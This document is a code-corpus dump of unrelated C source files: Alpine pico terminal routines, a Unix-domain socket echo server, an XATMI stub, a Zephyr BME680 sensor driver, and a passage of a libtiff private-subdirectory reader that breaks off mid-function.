simple_ttgetc(int (*recorder)(int), void (*bail_handler)(void)) { int res; unsigned char c; while((res = read(STDIN_FD, &c, 1)) <= 0) if(!(res < 0 && errno == EINTR)) (*bail_handler)(); return(recorder ? (*recorder)((int)c) : (int)c); } /* * ttputc - Write a character to the display. */ int ttputc(UCS ucs) { unsigned char obuf[MAX(MB_LEN_MAX,32)]; int r, i, width = 0, outchars = 0; int ret = 0; if(ucs < 0x80) return(putchar((unsigned char) ucs)); width = wcellwidth(ucs); if(width < 0){ width = 1; obuf[outchars++] = '?'; } else{ /* * Convert the ucs into the multibyte * character that corresponds to the * ucs in the users locale. */ outchars = wtomb((char *) obuf, ucs); if(outchars < 0){ width = 1; obuf[0] = '?'; outchars = 1; } } for(i = 0; i < outchars; i++){ r = putchar(obuf[i]); ret = (ret == EOF) ? EOF : r; } return(ret); } /* * ttflush - flush terminal buffer. Does real work where the terminal * output is buffered up. A no-operation on systems where byte * at a time terminal I/O is done. */ int ttflush(void) { return(fflush(stdout)); } /* * ttresize - recompute the screen dimensions if necessary, and then * adjust pico's internal buffers accordingly. */ void ttresize(void) { int row = -1, col = -1; ttgetwinsz(&row, &col); resize_pico(row, col); } /* * ttgetwinsz - set global row and column values (if we can get them) * and return. */ void ttgetwinsz(int *row, int *col) { extern int _tlines, _tcolumns; if(*row < 0) *row = (_tlines > 0) ? _tlines - 1 : NROW - 1; if(*col <= 0) *col = (_tcolumns > 0) ? _tcolumns : NCOL; #if defined(SIGWINCH) && defined(TIOCGWINSZ) { struct winsize win; if (ioctl(0, TIOCGWINSZ, &win) == 0) { /* set to anything useful.. */ if(win.ws_row) /* ... the tty drivers says */ *row = win.ws_row - 1; if(win.ws_col) *col = win.ws_col; } signal(SIGWINCH, winch_handler); /* window size changes */ } #endif if(*col > NLINE-1) *col = NLINE-1; } #else /* _WINDOWS */ #define MARGIN 8 /* size of minimim margin and */ #define SCRSIZ 64 /* scroll size for extended lines */ #define MROW 2 /* rows in menu */ /* internal prototypes */ int mswin_resize (int, int); /* * Standard terminal interface dispatch table. Fields point to functions * that operate the terminal. All these functions live in mswin.c, but * this structure is defined here because it is specific to pico. */ TERM term = { 0, 0, MARGIN, MROW, ttopen, NULL, ttclose, NULL, /* was mswin_getc, but not used? */ mswin_putc, mswin_flush, mswin_move, mswin_eeol, mswin_eeop, mswin_beep, mswin_rev }; /* * This function is called once to set up the terminal device streams. */ int ttopen(void) { int rows, columns; mswin_getscreensize (&rows, &columns); term.t_nrow = rows - 1; term.t_ncol = columns; /* term.t_scrsiz = (columns * 2) / 3; */ /* * Do we implement optimized character insertion and deletion? * o_insert() and o_delete() */ /* inschar = delchar = FALSE; */ /* revexist = TRUE; dead code? */ mswin_setresizecallback (mswin_resize); init_mouse(); return(1); } /* * This function gets called just before we go back home to the command * interpreter. */ int ttclose(void) { mswin_clearresizecallback (mswin_resize); return(1); } /* * Flush terminal buffer. Does real work where the terminal output is buffered * up. A no-operation on systems where byte at a time terminal I/O is done. */ int ttflush(void) { return(1); } /* * ttresize - recompute the screen dimensions if necessary, and then * adjust pico's internal buffers accordingly. */ void ttresize(void) { int row, col; mswin_getscreensize(&row, &col); resize_pico (row-1, col); } /* * mswin_resize - windows specific callback to set pico's internal tables * to new screen dimensions. */ int mswin_resize(int row, int col) { if (wheadp) resize_pico (row-1, col); return (0); } #endif /* _WINDOWS */
cornerhost/alpine
pico/osdep/tty.c
C
apache-2.0
7,779
/* * File: * Author: ezio * * Created on 2016年2月25日, 下午9:14 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <ctype.h> #include <sys/un.h> #include <sys/socket.h> #define SV_SOCK_PATH "/tmp/us_xfr" #define BUF_SIZE 10 #define BACKLOG 5 int main(void) { struct sockaddr_un svaddr,claddr; int sfd,j; ssize_t numRead; socklen_t len; char buf[BUF_SIZE]; sfd = socket(AF_UNIX , SOCK_DGRAM, 0); if (sfd == -1) exit(-1); if(unlink(SV_SOCK_PATH) == -1 && errno != ENOENT) exit(-2); memset(&svaddr, 0, sizeof(struct sockaddr_un)); svaddr.sun_family = AF_UNIX; strncpy(svaddr.sun_path, SV_SOCK_PATH, sizeof(svaddr.sun_path) -1 ); if(bind(sfd, (struct sockaddr *)&svaddr, sizeof(struct sockaddr_un))== -1) exit(-3); for(;;) { len = sizeof(struct sockaddr_un); numRead = recvfrom(sfd, buf, BUF_SIZE, 0, (struct sockaddr *)&claddr, &len); if(numRead == -1) exit(-4); printf("server recved %ld bytes from %s\n",(long) numRead, claddr.sun_path); for(j = 0; j<numRead; j++) buf[j] = toupper((unsigned char )buf[j]); if (sendto(sfd, buf, numRead, 0, (struct sockaddr *)&claddr, len) != numRead) perror("sendto "); } return 0; }
oska874/cCode
socket/ud_ser.c
C
apache-2.0
1,436
/* ** Copyright (c) 2007, DNA Pty Ltd and contributors ** ** Permission is hereby granted, free of charge, to any person obtaining a copy ** of this software and associated documentation files (the "Software"), to deal ** in the Software without restriction, including without limitation the rights ** to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ** copies of the Software, and to permit persons to whom the Software is ** furnished to do so, subject to the following conditions: ** ** The above copyright notice and this permission notice shall be included in ** all copies or substantial portions of the Software. ** ** THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ** IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ** FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ** AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ** LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ** OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN ** THE SOFTWARE. */ #include "libxatmi.h" int tpdiscon(int cd) { write(2, "tpdiscon not supported\n", 23); tperrno = TPEPROTO; return -1; }
openhoodie/hoodie
xatmi/src/main/cxx/tpdiscon.c
C
apache-2.0
1,261
/* bme680.c - Driver for Bosch Sensortec's BME680 temperature, pressure, * humidity and gas sensor * * https://www.bosch-sensortec.com/bst/products/all_products/bme680 */ /* * Copyright (c) 2018 Bosch Sensortec GmbH * * SPDX-License-Identifier: Apache-2.0 */ #include "bme680.h" #include <gpio.h> #include <i2c.h> #include <init.h> #include <kernel.h> #include <misc/byteorder.h> #include <misc/__assert.h> #include <sensor.h> #include <logging/log.h> LOG_MODULE_REGISTER(bme680, CONFIG_SENSOR_LOG_LEVEL); static int bme680_reg_read(struct bme680_data *data, u8_t start, u8_t *buf, int size) { return i2c_burst_read(data->i2c_master, data->i2c_slave_addr, start, buf, size); return 0; } static int bme680_reg_write(struct bme680_data *data, u8_t reg, u8_t val) { return i2c_reg_write_byte(data->i2c_master, data->i2c_slave_addr, reg, val); return 0; } static void bme680_calc_temp(struct bme680_data *data, u32_t adc_temp) { s64_t var1, var2, var3; var1 = ((s32_t)adc_temp >> 3) - ((s32_t)data->par_t1 << 1); var2 = (var1 * (s32_t)data->par_t2) >> 11; var3 = ((var1 >> 1) * (var1 >> 1)) >> 12; var3 = ((var3) * ((s32_t)data->par_t3 << 4)) >> 14; data->t_fine = var2 + var3; data->calc_temp = ((data->t_fine * 5) + 128) >> 8; } static void bme680_calc_press(struct bme680_data *data, u32_t adc_press) { s32_t var1, var2, var3, calc_press; var1 = (((s32_t)data->t_fine) >> 1) - 64000; var2 = ((((var1 >> 2) * (var1 >> 2)) >> 11) * (s32_t)data->par_p6) >> 2; var2 = var2 + ((var1 * (s32_t)data->par_p5) << 1); var2 = (var2 >> 2) + ((s32_t)data->par_p4 << 16); var1 = (((((var1 >> 2) * (var1 >> 2)) >> 13) * ((s32_t)data->par_p3 << 5)) >> 3) + (((s32_t)data->par_p2 * var1) >> 1); var1 = var1 >> 18; var1 = ((32768 + var1) * (s32_t)data->par_p1) >> 15; calc_press = 1048576 - adc_press; calc_press = (calc_press - (var2 >> 12)) * ((u32_t)3125); /* This max value is used to provide precedence to multiplication or * division in the pressure calculation equation to achieve least * loss of precision and avoiding overflows. * i.e Comparing value, signed int 32bit (1 << 30) */ if (calc_press >= (s32_t)0x40000000) { calc_press = ((calc_press / var1) << 1); } else { calc_press = ((calc_press << 1) / var1); } var1 = ((s32_t)data->par_p9 * (s32_t)(((calc_press >> 3) * (calc_press >> 3)) >> 13)) >> 12; var2 = ((s32_t)(calc_press >> 2) * (s32_t)data->par_p8) >> 13; var3 = ((s32_t)(calc_press >> 8) * (s32_t)(calc_press >> 8) * (s32_t)(calc_press >> 8) * (s32_t)data->par_p10) >> 17; data->calc_press = calc_press + ((var1 + var2 + var3 + ((s32_t)data->par_p7 << 7)) >> 4); } static void bme680_calc_humidity(struct bme680_data *data, u16_t adc_humidity) { s32_t var1, var2_1, var2_2, var2, var3, var4, var5, var6; s32_t temp_scaled, calc_hum; temp_scaled = (((s32_t)data->t_fine * 5) + 128) >> 8; var1 = (s32_t)(adc_humidity - ((s32_t)((s32_t)data->par_h1 * 16))) - (((temp_scaled * (s32_t)data->par_h3) / ((s32_t)100)) >> 1); var2_1 = (s32_t)data->par_h2; var2_2 = ((temp_scaled * (s32_t)data->par_h4) / (s32_t)100) + (((temp_scaled * ((temp_scaled * (s32_t)data->par_h5) / ((s32_t)100))) >> 6) / ((s32_t)100)) + (s32_t)(1 << 14); var2 = (var2_1 * var2_2) >> 10; var3 = var1 * var2; var4 = (s32_t)data->par_h6 << 7; var4 = ((var4) + ((temp_scaled * (s32_t)data->par_h7) / ((s32_t)100))) >> 4; var5 = ((var3 >> 14) * (var3 >> 14)) >> 10; var6 = (var4 * var5) >> 1; calc_hum = (((var3 + var6) >> 10) * ((s32_t)1000)) >> 12; if (calc_hum > 100000) { /* Cap at 100%rH */ calc_hum = 100000; } else if (calc_hum < 0) { calc_hum = 0; } data->calc_humidity = calc_hum; } static void bme680_calc_gas_resistance(struct bme680_data *data, u8_t gas_range, u16_t adc_gas_res) { s64_t var1, var3; u64_t var2; static const u32_t look_up1[16] = { 2147483647, 2147483647, 2147483647, 2147483647, 2147483647, 2126008810, 2147483647, 2130303777, 2147483647, 2147483647, 2143188679, 2136746228, 2147483647, 2126008810, 2147483647, 2147483647 }; static const u32_t look_up2[16] = { 4096000000, 2048000000, 1024000000, 512000000, 255744255, 127110228, 64000000, 32258064, 16016016, 8000000, 4000000, 2000000, 1000000, 500000, 250000, 125000 }; var1 = (s64_t)((1340 + (5 * (s64_t)data->range_sw_err)) * ((s64_t)look_up1[gas_range])) >> 16; var2 = (((s64_t)((s64_t)adc_gas_res << 15) - (s64_t)(16777216)) + var1); var3 = (((s64_t)look_up2[gas_range] * (s64_t)var1) >> 9); data->calc_gas_resistance = (u32_t)((var3 + ((s64_t)var2 >> 1)) / (s64_t)var2); } static u8_t bme680_calc_res_heat(struct bme680_data *data, u16_t heatr_temp) { u8_t heatr_res; s32_t var1, var2, var3, var4, var5; s32_t heatr_res_x100; s32_t amb_temp = 25; /* Assume ambient temperature to be 25 deg C */ if (heatr_temp > 400) { /* Cap temperature */ heatr_temp = 400; } var1 = ((amb_temp * data->par_gh3) / 1000) * 256; var2 = (data->par_gh1 + 784) * (((((data->par_gh2 + 154009) * heatr_temp * 5) / 100) + 3276800) / 10); var3 = var1 + (var2 / 2); var4 = (var3 / (data->res_heat_range + 4)); var5 = (131 * data->res_heat_val) + 65536; heatr_res_x100 = ((var4 / var5) - 250) * 34; heatr_res = (heatr_res_x100 + 50) / 100; return heatr_res; } static u8_t bme680_calc_gas_wait(u16_t dur) { u8_t factor = 0, durval; if (dur >= 0xfc0) { durval = 0xff; /* Max duration*/ } else { while (dur > 0x3F) { dur = dur / 4; factor += 1; } durval = dur + (factor * 64); } return durval; } static int bme680_sample_fetch(struct device *dev, enum sensor_channel chan) { struct bme680_data *data = dev->driver_data; u8_t buff[BME680_LEN_FIELD] = { 0 }; u8_t gas_range; u32_t adc_temp, adc_press; u16_t adc_hum, adc_gas_res; int size = BME680_LEN_FIELD; int ret; __ASSERT_NO_MSG(chan == SENSOR_CHAN_ALL); ret = bme680_reg_read(data, BME680_REG_FIELD0, buff, size); if (ret < 0) { return ret; } data->new_data = buff[0] & BME680_MSK_NEW_DATA; data->heatr_stab = buff[14] & BME680_MSK_HEATR_STAB; adc_press = (u32_t)(((u32_t)buff[2] << 12) | ((u32_t)buff[3] << 4) | ((u32_t)buff[4] >> 4)); adc_temp = (u32_t)(((u32_t)buff[5] << 12) | ((u32_t)buff[6] << 4) | ((u32_t)buff[7] >> 4)); adc_hum = (u16_t)(((u32_t)buff[8] << 8) | (u32_t)buff[9]); adc_gas_res = (u16_t)((u32_t)buff[13] << 2 | (((u32_t)buff[14]) >> 6)); gas_range = buff[14] & BME680_MSK_GAS_RANGE; if (data->new_data) { bme680_calc_temp(data, adc_temp); bme680_calc_press(data, adc_press); bme680_calc_humidity(data, adc_hum); bme680_calc_gas_resistance(data, gas_range, adc_gas_res); } /* Trigger the next measurement */ ret = bme680_reg_write(data, BME680_REG_CTRL_MEAS, BME680_CTRL_MEAS_VAL); if (ret < 0) { return ret; } return 0; } static int bme680_channel_get(struct device *dev, enum sensor_channel chan, struct sensor_value *val) { struct bme680_data *data = dev->driver_data; switch (chan) { case SENSOR_CHAN_AMBIENT_TEMP: /* * data->calc_temp has a resolution of 0.01 degC. * So 5123 equals 51.23 degC. */ val->val1 = data->calc_temp / 100; val->val2 = data->calc_temp % 100 * 10000; break; case SENSOR_CHAN_PRESS: /* * data->calc_press has a resolution of 1 Pa. * So 96321 equals 96.321 kPa. */ val->val1 = data->calc_press / 1000; val->val2 = (data->calc_press % 1000) * 1000; break; case SENSOR_CHAN_HUMIDITY: /* * data->calc_humidity has a resolution of 0.001 %RH. * So 46333 equals 46.333 %RH. */ val->val1 = data->calc_humidity / 1000; val->val2 = (data->calc_humidity % 1000) * 1000; break; case SENSOR_CHAN_GAS_RES: /* * data->calc_gas_resistance has a resolution of 1 ohm. * So 100000 equals 100000 ohms. */ val->val1 = data->calc_gas_resistance; val->val2 = 0; break; default: return -EINVAL; } return 0; } static int bme680_read_compensation(struct bme680_data *data) { u8_t buff[BME680_LEN_COEFF_ALL]; int err = 0; err = bme680_reg_read(data, BME680_REG_COEFF1, buff, BME680_LEN_COEFF1); if (err < 0) { return err; } err = bme680_reg_read(data, BME680_REG_COEFF2, &buff[BME680_LEN_COEFF1], 16); if (err < 0) { return err; } err = bme680_reg_read(data, BME680_REG_COEFF3, &buff[BME680_LEN_COEFF1 + BME680_LEN_COEFF2], BME680_LEN_COEFF3); if (err < 0) { return err; } /* Temperature related coefficients */ data->par_t1 = (u16_t)(BME680_CONCAT_BYTES(buff[32], buff[31])); data->par_t2 = (s16_t)(BME680_CONCAT_BYTES(buff[1], buff[0])); data->par_t3 = (u8_t)(buff[2]); /* Pressure related coefficients */ data->par_p1 = (u16_t)(BME680_CONCAT_BYTES(buff[5], buff[4])); data->par_p2 = (s16_t)(BME680_CONCAT_BYTES(buff[7], buff[6])); data->par_p3 = (s8_t)buff[8]; data->par_p4 = (s16_t)(BME680_CONCAT_BYTES(buff[11], buff[10])); data->par_p5 = (s16_t)(BME680_CONCAT_BYTES(buff[13], buff[12])); data->par_p6 = (s8_t)(buff[15]); data->par_p7 = (s8_t)(buff[14]); data->par_p8 = (s16_t)(BME680_CONCAT_BYTES(buff[19], buff[18])); data->par_p9 = (s16_t)(BME680_CONCAT_BYTES(buff[21], buff[20])); data->par_p10 = (u8_t)(buff[22]); /* Humidity related coefficients */ data->par_h1 = (u16_t)(((u16_t)buff[25] << 4) | (buff[24] & 0x0f)); data->par_h2 = (u16_t)(((u16_t)buff[23] << 4) | ((buff[24]) >> 4)); data->par_h3 = (s8_t)buff[26]; data->par_h4 = (s8_t)buff[27]; data->par_h5 = (s8_t)buff[28]; data->par_h6 = (u8_t)buff[29]; data->par_h7 = (s8_t)buff[30]; /* Gas heater related coefficients */ data->par_gh1 = (s8_t)buff[35]; data->par_gh2 = (s16_t)(BME680_CONCAT_BYTES(buff[34], buff[33])); data->par_gh3 = (s8_t)buff[36]; data->res_heat_val = (s8_t)buff[37]; data->res_heat_range = ((buff[39] & BME680_MSK_RH_RANGE) >> 4); data->range_sw_err = ((s8_t)(buff[41] & BME680_MSK_RANGE_SW_ERR)) / 16; return 0; } static int bme680_chip_init(struct device *dev) { struct bme680_data *data = (struct bme680_data *)dev->driver_data; int err; err = bme680_reg_read(data, BME680_REG_CHIP_ID, &data->chip_id, 1); if (err < 0) { return err; } if (data->chip_id == BME680_CHIP_ID) { LOG_ERR("BME680 chip detected"); } else { LOG_ERR("Bad BME680 chip id 0x%x", data->chip_id); return -ENOTSUP; } err = bme680_read_compensation(data); if (err < 0) { return err; } err = bme680_reg_write(data, BME680_REG_CTRL_HUM, BME680_HUMIDITY_OVER); if (err < 0) { return err; } err = bme680_reg_write(data, BME680_REG_CONFIG, BME680_CONFIG_VAL); if (err < 0) { return err; } err = bme680_reg_write(data, BME680_REG_CTRL_GAS_1, BME680_CTRL_GAS_1_VAL); if (err < 0) { return err; } err = bme680_reg_write(data, BME680_REG_RES_HEAT0, bme680_calc_res_heat(data, BME680_HEATR_TEMP)); if (err < 0) { return err; } err = bme680_reg_write(data, BME680_REG_GAS_WAIT0, bme680_calc_gas_wait(BME680_HEATR_DUR_MS)); if (err < 0) { return err; } err = bme680_reg_write(data, BME680_REG_CTRL_MEAS, BME680_CTRL_MEAS_VAL); if (err < 0) { return err; } return 0; } static int bme680_init(struct device *dev) { struct bme680_data *data = dev->driver_data; data->i2c_master = device_get_binding( DT_INST_0_BOSCH_BME680_BUS_NAME); if (!data->i2c_master) { LOG_ERR("I2C master not found: %s", DT_INST_0_BOSCH_BME680_BUS_NAME); return -EINVAL; } data->i2c_slave_addr = DT_INST_0_BOSCH_BME680_BASE_ADDRESS; if (bme680_chip_init(dev) < 0) { return -EINVAL; } return 0; } static const struct sensor_driver_api bme680_api_funcs = { .sample_fetch = bme680_sample_fetch, .channel_get = bme680_channel_get, }; static struct bme680_data bme680_data; DEVICE_AND_API_INIT(bme680, DT_INST_0_BOSCH_BME680_LABEL, bme680_init, &bme680_data, NULL, POST_KERNEL, CONFIG_SENSOR_INIT_PRIORITY, &bme680_api_funcs);
GiulianoFranchetto/zephyr
drivers/sensor/bme680/bme680.c
C
apache-2.0
11,979
/* $Header: /cvs/maptools/cvsroot/libtiff/contrib/pds/tif_pdsdirread.c,v 1.2 2003/11/17 15:09:39 dron Exp $ */ /* * Copyright (c) 1988-1996 Sam Leffler * Copyright (c) 1991-1996 Silicon Graphics, Inc. * Copyright (c( 1996 USAF Phillips Laboratory * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the names of * Sam Leffler and Silicon Graphics may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Sam Leffler and Silicon Graphics. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ /* * TIFF Library. * * These routines written by Conrad J. Poelman on a single late-night of * March 20-21, 1996. * * The entire purpose of this file is to provide a single external function, * TIFFReadPrivateDataSubDirectory(). This function is intended for use in reading a * private subdirectory from a TIFF file into a private structure. The * actual writing of data into the structure is handled by the setFieldFn(), * which is passed to TIFFReadPrivateDataSubDirectory() as a parameter. The idea is to * enable any application wishing to store private subdirectories to do so * easily using this function, without modifying the TIFF library. * * The astute observer will notice that only two functions are at all different * from the original tif_dirread.c file: TIFFReadPrivateDataSubDirectory() and * TIFFFetchNormalSubTag(). All the other stuff that makes this file so huge * is only necessary because all of those functions are declared static in * tif_dirread.c, so we have to totally duplicate them in order to use them. * * Oh, also note the bug fix in TIFFFetchFloat(). * */ #include "tiffiop.h" #define IGNORE 0 /* tag placeholder used below */ #if HAVE_IEEEFP #define TIFFCvtIEEEFloatToNative(tif, n, fp) #define TIFFCvtIEEEDoubleToNative(tif, n, dp) #else extern void TIFFCvtIEEEFloatToNative(TIFF*, uint32, float*); extern void TIFFCvtIEEEDoubleToNative(TIFF*, uint32, double*); #endif static void EstimateStripByteCounts(TIFF*, TIFFDirEntry*, uint16); static void MissingRequired(TIFF*, const char*); static int CheckDirCount(TIFF*, TIFFDirEntry*, uint32); static tsize_t TIFFFetchData(TIFF*, TIFFDirEntry*, char*); static tsize_t TIFFFetchString(TIFF*, TIFFDirEntry*, char*); static float TIFFFetchRational(TIFF*, TIFFDirEntry*); static int TIFFFetchNormalSubTag(TIFF*, TIFFDirEntry*, const TIFFFieldInfo*, int (*getFieldFn)(TIFF *tif,ttag_t tag,...)); static int TIFFFetchPerSampleShorts(TIFF*, TIFFDirEntry*, int*); static int TIFFFetchPerSampleAnys(TIFF*, TIFFDirEntry*, double*); static int TIFFFetchShortArray(TIFF*, TIFFDirEntry*, uint16*); static int TIFFFetchStripThing(TIFF*, TIFFDirEntry*, long, uint32**); static int TIFFFetchExtraSamples(TIFF*, TIFFDirEntry*); static int TIFFFetchRefBlackWhite(TIFF*, TIFFDirEntry*); static float TIFFFetchFloat(TIFF*, TIFFDirEntry*); static int TIFFFetchFloatArray(TIFF*, TIFFDirEntry*, float*); static int TIFFFetchDoubleArray(TIFF*, TIFFDirEntry*, double*); static int TIFFFetchAnyArray(TIFF*, TIFFDirEntry*, double*); static int TIFFFetchShortPair(TIFF*, TIFFDirEntry*); #if STRIPCHOP_SUPPORT static void ChopUpSingleUncompressedStrip(TIFF*); #endif static char * CheckMalloc(TIFF* tif, tsize_t n, const char* what) { char *cp = (char*)_TIFFmalloc(n); if (cp == NULL) TIFFError(tif->tif_name, "No space %s", what); return (cp); } /* Just as was done with TIFFWritePrivateDataSubDirectory(), here we implement TIFFReadPrivateDataSubDirectory() which takes an offset into the TIFF file, a TIFFFieldInfo structure specifying the types of the various tags, and a function to use to set individual tags when they are encountered. The data is read from the file, translated using the TIFF library's built-in machine-independent conversion functions, and filled into private subdirectory structure. This code was written by copying the original TIFFReadDirectory() function from tif_dirread.c and paring it down to what is needed for this. It is the caller's responsibility to allocate and initialize the internal structure that setFieldFn() will be writing into. If this function is being called more than once before closing the file, the caller also must be careful to free data in the structure before re-initializing. It is also the caller's responsibility to verify the presence of any required fields after reading the directory in. */ int TIFFReadPrivateDataSubDirectory(TIFF* tif, toff_t pdir_offset, TIFFFieldInfo *field_info, int (*setFieldFn)(TIFF *tif, ttag_t tag, ...)) { register TIFFDirEntry* dp; register int n; register TIFFDirectory* td; TIFFDirEntry* dir; int iv; long v; double dv; const TIFFFieldInfo* fip; int fix; uint16 dircount; uint32 nextdiroff; char* cp; int diroutoforderwarning = 0; /* Skipped part about checking for directories or compression data. */ if (!isMapped(tif)) { if (!SeekOK(tif, pdir_offset)) { TIFFError(tif->tif_name, "Seek error accessing TIFF private subdirectory"); return (0); } if (!ReadOK(tif, &dircount, sizeof (uint16))) { TIFFError(tif->tif_name, "Can not read TIFF private subdirectory count"); return (0); } if (tif->tif_flags & TIFF_SWAB) TIFFSwabShort(&dircount); dir = (TIFFDirEntry *)CheckMalloc(tif, dircount * sizeof (TIFFDirEntry), "to read TIFF private subdirectory"); if (dir == NULL) return (0); if (!ReadOK(tif, dir, dircount*sizeof (TIFFDirEntry))) { TIFFError(tif->tif_name, "Can not read TIFF private subdirectory"); goto bad; } /* * Read offset to next directory for sequential scans. */ (void) ReadOK(tif, &nextdiroff, sizeof (uint32)); } else { toff_t off = pdir_offset; if (off + sizeof (short) > tif->tif_size) { TIFFError(tif->tif_name, "Can not read TIFF private subdirectory count"); return (0); } else _TIFFmemcpy(&dircount, tif->tif_base + off, sizeof (uint16)); off += sizeof (uint16); if (tif->tif_flags & TIFF_SWAB) TIFFSwabShort(&dircount); dir = (TIFFDirEntry *)CheckMalloc(tif, dircount * sizeof (TIFFDirEntry), "to read TIFF private subdirectory"); if (dir == NULL) return (0); if (off + dircount*sizeof (TIFFDirEntry) > tif->tif_size) { TIFFError(tif->tif_name, "Can not read TIFF private subdirectory"); goto bad; } else _TIFFmemcpy(dir, tif->tif_base + off, dircount*sizeof (TIFFDirEntry)); off += dircount* sizeof (TIFFDirEntry); if (off + sizeof (uint32) < tif->tif_size) _TIFFmemcpy(&nextdiroff, tif->tif_base+off, sizeof (uint32)); } if (tif->tif_flags & TIFF_SWAB) TIFFSwabLong(&nextdiroff); /* * Setup default value and then make a pass over * the fields to check type and tag information, * and to extract info required to size data * structures. A second pass is made afterwards * to read in everthing not taken in the first pass. */ td = &tif->tif_dir; for (fip = field_info, dp = dir, n = dircount; n > 0; n--, dp++) { if (tif->tif_flags & TIFF_SWAB) { TIFFSwabArrayOfShort(&dp->tdir_tag, 2); TIFFSwabArrayOfLong(&dp->tdir_count, 2); } /* * Find the field information entry for this tag. */ /* * Silicon Beach (at least) writes unordered * directory tags (violating the spec). Handle * it here, but be obnoxious (maybe they'll fix it?). */ if (dp->tdir_tag < fip->field_tag) { if (!diroutoforderwarning) { TIFFWarning(tif->tif_name, "invalid TIFF private subdirectory; tags are not sorted in ascending order"); diroutoforderwarning = 1; } fip = field_info; /* O(n^2) */ } while (fip->field_tag && fip->field_tag < dp->tdir_tag) fip++; if (!fip->field_tag || fip->field_tag != dp->tdir_tag) { TIFFWarning(tif->tif_name, "unknown field with tag %d (0x%x) in private subdirectory ignored", dp->tdir_tag, dp->tdir_tag); dp->tdir_tag = IGNORE; fip = field_info;/* restart search */ continue; } /* * Null out old tags that we ignore. */ /* Not implemented yet, since FIELD_IGNORE is specific to the main directories. Could pass this in too... */ if (0 /* && fip->field_bit == FIELD_IGNORE */) { ignore: dp->tdir_tag = IGNORE; continue; } /* * Check data type. */ while (dp->tdir_type != (u_short)fip->field_type) { if (fip->field_type == TIFF_ANY) /* wildcard */ break; fip++; if (!fip->field_tag || fip->field_tag != dp->tdir_tag) { TIFFWarning(tif->tif_name, "wrong data type %d for \"%s\"; tag ignored", dp->tdir_type, fip[-1].field_name); goto ignore; } } /* * Check count if known in advance. */ if (fip->field_readcount != TIFF_VARIABLE) { uint32 expected = (fip->field_readcount == TIFF_SPP) ? (uint32) td->td_samplesperpixel : (uint32) fip->field_readcount; if (!CheckDirCount(tif, dp, expected)) goto ignore; } /* Now read in and process data from field. */ if (!TIFFFetchNormalSubTag(tif, dp, fip, setFieldFn)) goto bad; } if (dir) _TIFFfree(dir); return (1); bad: if (dir) _TIFFfree(dir); return (0); } static void EstimateStripByteCounts(TIFF* tif, TIFFDirEntry* dir, uint16 dircount) { register TIFFDirEntry *dp; register TIFFDirectory *td = &tif->tif_dir; uint16 i; if (td->td_stripbytecount) _TIFFfree(td->td_stripbytecount); td->td_stripbytecount = (uint32*) CheckMalloc(tif, td->td_nstrips * sizeof (uint32), "for \"StripByteCounts\" array"); if (td->td_compression != COMPRESSION_NONE) { uint32 space = (uint32)(sizeof (TIFFHeader) + sizeof (uint16) + (dircount * sizeof (TIFFDirEntry)) + sizeof (uint32)); toff_t filesize = TIFFGetFileSize(tif); uint16 n; /* calculate amount of space used by indirect values */ for (dp = dir, n = dircount; n > 0; n--, dp++) { uint32 cc = dp->tdir_count*TIFFDataWidth(dp->tdir_type); if (cc > sizeof (uint32)) space += cc; } space = (filesize - space) / td->td_samplesperpixel; for (i = 0; i < td->td_nstrips; i++) td->td_stripbytecount[i] = space; /* * This gross hack handles the case were the offset to * the last strip is past the place where we think the strip * should begin. Since a strip of data must be contiguous, * it's safe to assume that we've overestimated the amount * of data in the strip and trim this number back accordingly. */ i--; if (td->td_stripoffset[i] + td->td_stripbytecount[i] > filesize) td->td_stripbytecount[i] = filesize - td->td_stripoffset[i]; } else { uint32 rowbytes = TIFFScanlineSize(tif); uint32 rowsperstrip = td->td_imagelength / td->td_nstrips; for (i = 0; i < td->td_nstrips; i++) td->td_stripbytecount[i] = rowbytes*rowsperstrip; } TIFFSetFieldBit(tif, FIELD_STRIPBYTECOUNTS); if (!TIFFFieldSet(tif, FIELD_ROWSPERSTRIP)) td->td_rowsperstrip = td->td_imagelength; } static void MissingRequired(TIFF* tif, const char* tagname) { TIFFError(tif->tif_name, "TIFF directory is missing required \"%s\" field", tagname); } /* * Check the count field of a directory * entry against a known value. The caller * is expected to skip/ignore the tag if * there is a mismatch. */ static int CheckDirCount(TIFF* tif, TIFFDirEntry* dir, uint32 count) { if (count != dir->tdir_count) { TIFFWarning(tif->tif_name, "incorrect count for field \"%s\" (%lu, expecting %lu); tag ignored", _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name, dir->tdir_count, count); return (0); } return (1); } /* * Fetch a contiguous directory item. */ static tsize_t TIFFFetchData(TIFF* tif, TIFFDirEntry* dir, char* cp) { int w = TIFFDataWidth(dir->tdir_type); tsize_t cc = dir->tdir_count * w; if (!isMapped(tif)) { if (!SeekOK(tif, dir->tdir_offset)) goto bad; if (!ReadOK(tif, cp, cc)) goto bad; } else { if (dir->tdir_offset + cc > tif->tif_size) goto bad; 